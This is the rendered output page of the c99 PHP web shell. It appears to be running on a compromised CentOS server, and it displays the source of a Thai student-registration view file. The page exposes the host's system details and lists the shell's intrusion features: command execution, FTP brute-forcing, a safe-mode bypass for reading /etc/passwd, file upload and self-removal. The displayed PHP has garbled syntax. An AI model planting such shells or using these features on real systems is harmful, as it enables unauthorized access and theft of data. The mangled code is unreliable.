!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showStudyPlan.php (3.16 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%">
                <tr>
                    <td align="center"><span class="h error">กำหนดโปรแกรมการศึกษา<br></span></td>
                </tr>
                <tr>
                    <td align="center"><br></td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr bgcolor="<?php echo $table_color_even;?>">
                            <th width="40%">ชั้นปี</th>
<?php
                            
foreach($rs_sy->result() as $row) {
?>
                            <td align="center"><table class="headCol">
                                <tr>
                                    <th><?php echo $row->syCode;?></th>
                                </tr>
                            </table></td>
<?php
                            
}
?>
                            <th>รวม</th>
                        </tr>
                        <tr>
                            <th>ภาคการศึกษา</th>
<?php
                            
for($i=1$i<=$rs_sy->num_rows(); $i++) {
?>
                            <td align="center"><table class="headCol">
                                <tr>
<?php
                                    
foreach($rs_tm->result() as $row) {
?>
                                    <th><?php echo $row->tmCode;?></th>
<?php
                                    
}
?>
                                </tr>
                            </table></td>
<?php
                            
}
?>
                            <th>หน่วยกิต</th>
                        </tr>
<?php
                        
foreach($rs_sp as $curId => $val_cur) {
                            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td class="indent"><?php 
                            
//เปลี่ยน Controller
                            
$lnk "<span class=\"hand\" onClick=\"sendPost('hidform',{'id':$curId}, '".site_url($this->config->item("rg_folder")."curpbri/sp_detail")."',{'width':500,'height':600})\">".explodeSquare($rs_sp[$curId]["name"])."</span>";
                                    echo 
$lnk;
                                    
?></td>
<?php
                            
foreach($rs_sp[$curId] as $syId => $val_sy) {
                                if(
is_int($syId)) {
?>
                            <td align="center"><table width="100%">
                                <tr>
<?php
                                    
foreach($rs_sp[$curId][$syId] as $tmId => $sumCreditTotal) {
                                        if(
$sumCreditTotal == NULL)
                                            
$cls "<font color=\"".$this->config->item('rg_font_color_err')."\">";
                                        else
                                            
$cls "<font color=\"".$this->config->item('rg_font_color_true')."\">";
?>
                                    <td align="center" width ="5%"><b><?php 
                                    $lnk 
"<span class=\"hand\" onClick=\"sendPost('hidform2',{'curId':$curId,'syId':$syId,'tmId':$tmId}, '".site_url($this->config->item("rg_folder")."curpbri/sp_input")."')\">$cls".number_format($sumCreditTotal)."</font></span>";
                                    echo 
$lnk;
?></b></td>
<?php
                                    
}
?>
                                </tr>
                            </table></td>
<?php
                                
}
                            }
?>
                            <td align="center"><?php echo number_format($rs_sp[$curId]["creditTotal"]);?></td>
                        </tr>
<?php
                        
}
?>
                    </table></td>
                </tr>
            </table></div><br>
        <table class="mark">
            <tr>
                <td class="coltd_mark"><span class="error"><b>หมายเหตุ : </b></span></td>
                <td><span class="error">ใช้เมาส์คลิกที่ชื่อหลักสูตรเพื่อดูรายละเอียดของโปรแกรมการศึกษา</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td><span class="error">สีแดง = ยังไม่บันทึก, สีเขียว = บันทึกแล้ว</span></td>
            </tr>
        </table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]--